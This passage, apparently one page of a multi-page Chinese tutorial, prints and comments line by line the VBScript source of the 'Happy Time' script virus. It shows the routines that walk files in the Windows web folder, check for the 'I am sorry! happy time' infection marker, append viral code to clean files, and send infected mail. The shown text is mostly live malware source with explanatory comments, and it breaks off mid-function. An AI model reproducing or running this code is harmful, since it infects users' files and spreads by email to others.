’得到windows\web文件夹里的文件
Od.Add "htt", "1100"
’向Dictionary里添加htt项目对
For Each m In gf
’遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
’得到每个文件的扩展名
If fext <> "" Then
’如果扩展名不为空，则
Fw Of, m, fext
End If
Next
End If
End Sub
’******************************************************************
Sub mclose()
document.Write "<" & "title>I am sorry!’写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub
’******************************************************************
Sub Fw(Of, S, n)
’此时S为文件名，n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
’只读模式打开该文件
mt = fc.ReadAll
’读入全部文件流
fc.Close
’关闭文件
If Not Sc(mt) Then
’如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
’打开文件并在文件末尾进行写爱作
fc2.Write mt
fc2.Close
Msend (mmail)
’发带毒邮件
End If
End Sub
’******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
’如果读入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
’表示已感染过，返回True,否则为False
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] 下一页
|
